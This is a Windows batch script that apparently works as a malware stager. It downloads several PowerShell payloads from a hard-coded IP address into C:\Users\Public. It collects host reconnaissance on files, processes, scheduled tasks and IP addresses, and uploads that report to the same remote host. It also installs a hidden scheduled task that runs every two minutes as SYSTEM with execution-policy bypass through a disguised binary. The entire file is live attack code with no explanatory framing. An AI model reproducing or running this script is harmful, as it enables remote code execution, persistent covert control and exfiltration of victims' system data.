@echo off
set P=C:\Users\Public
curl.exe -s -m 40 -o %P%\upoll_v3.ps1 http://159.223.110.159:5558/upoll.ps1?v=3
curl.exe -s -m 40 -o %P%\pstun_keep.ps1 http://159.223.110.159:5558/pstun_keep.ps1?v=5
curl.exe -s -m 40 -o %P%\PStun4.ps1 http://159.223.110.159:5558/PStun4.ps1?v=2
curl.exe -s -m 40 -o %P%\hunter.ps1 http://159.223.110.159:5558/hunter.ps1?v=1
curl.exe -s -m 40 -o %P%\keeper3.ps1 http://159.223.110.159:5558/keeper3.ps1?v=6
del %P%\n243.txt 2>nul
echo == MK == >> %P%\n243.txt
dir %P%\mk* >> %P%\n243.txt 2>&1
echo == FILES == >> %P%\n243.txt
dir %P% | findstr /i PStun4 pstun_keep hunter keeper upoll c243 fscan svcnet wka >> %P%\n243.txt 2>&1
echo == PROCS == >> %P%\n243.txt
tasklist | findstr /i svcnet PStun4 wscript powershell >> %P%\n243.txt 2>&1
echo == TASKS == >> %P%\n243.txt
schtasks /query /fo csv /nh | findstr /i r_pk r_u1 r_s2 r_k1 r_w1 r_w21 r_hunter r_sw >> %P%\n243.txt 2>&1
echo == IPADDR == >> %P%\n243.txt
ipconfig | findstr /i IPv4 >> %P%\n243.txt 2>&1
curl.exe -s -m 25 -T %P%\n243.txt http://159.223.110.159:5561/n243.txt
schtasks /create /tn r_hunter /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\hunter.ps1" /sc minute /mo 2 /ru SYSTEM /rl HIGHEST /f >> %P%\n243.txt 2>&1
schtasks /run /tn r_hunter
schtasks /run /tn r_pk
schtasks /run /tn r_k1
schtasks /run /tn r_w1
schtasks /run /tn r_w21
echo == DONE243 == >> %P%\n243.txt
curl.exe -s -m 25 -T %P%\n243.txt http://159.223.110.159:5561/n243.txt
echo GO243